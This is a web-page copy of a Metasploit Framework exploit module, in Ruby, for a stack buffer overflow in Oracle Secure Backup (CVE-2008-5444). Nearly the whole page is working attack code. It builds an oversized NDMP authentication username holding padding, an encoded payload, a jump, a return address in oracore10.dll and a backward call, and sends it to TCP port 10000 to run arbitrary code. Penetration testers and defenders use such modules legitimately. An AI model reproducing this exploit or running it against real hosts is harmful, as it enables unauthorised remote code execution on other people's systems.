Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/oracle/osb_ndmp_auth.rb
19566 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::NDMP
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Oracle Secure Backup NDMP_CONNECT_CLIENT_AUTH Buffer Overflow',
16
'Description' => %q{
17
The module exploits a stack buffer overflow in Oracle Secure Backup.
18
When sending a specially crafted NDMP_CONNECT_CLIENT_AUTH packet,
19
an attacker may be able to execute arbitrary code.
20
},
21
'Author' => [ 'MC' ],
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'CVE', '2008-5444' ],
25
[ 'OSVDB', '51340' ],
26
[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html' ],
27
],
28
'Platform' => 'win',
29
'Privileged' => true,
30
'DefaultOptions' => {
31
'EXITFUNC' => 'process',
32
},
33
'Payload' => {
34
'Space' => 1024,
35
'BadChars' => "\x00",
36
'StackAdjustment' => -3500,
37
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
38
},
39
'Targets' => [
40
[ 'Oracle Secure Backup 10.1.0.3 (Windows 2003 SP0/Windows XP SP3)', { 'Ret' => 0x608f5a28 } ], # oracore10.dll
41
],
42
'DisclosureDate' => '2009-01-14',
43
'DefaultTarget' => 0,
44
'Notes' => {
45
'Reliability' => UNKNOWN_RELIABILITY,
46
'Stability' => UNKNOWN_STABILITY,
47
'SideEffects' => UNKNOWN_SIDE_EFFECTS
48
}
49
)
50
)
51
52
register_options([Opt::RPORT(10000)])
53
end
54
55
def exploit
56
connect
57
58
print_status("Trying target #{target.name}...")
59
60
ndmp_recv()
61
62
username = rand_text_alphanumeric(3789 - payload.encoded.length)
63
username << payload.encoded + Rex::Arch::X86.jmp_short(6)
64
username << make_nops(2) + [target.ret].pack('V') + [0xe8, -850].pack('CV')
65
username << rand_text_alphanumeric(5000 - 3793 - payload.encoded.length - 8 - 5)
66
67
password = rand_text_alphanumeric(rand(25) + 1)
68
69
# Create the authentication request
70
auth = [
71
0, # Sequence number
72
Time.now.to_i, # Current time
73
0, # Message type (request)
74
0x901, # Message name (connect_client_auth)
75
0, # Reply sequence number
76
0, # Error status
77
1 # Authentication type
78
].pack('NNNNNNN') +
79
[ username.length ].pack('N') + username +
80
[ password.length ].pack('N') + password +
81
[ 4 ].pack('N')
82
83
print_status("Sending authentication request...")
84
ndmp_send(auth)
85
86
handler
87
disconnect
88
end
89
end
90
91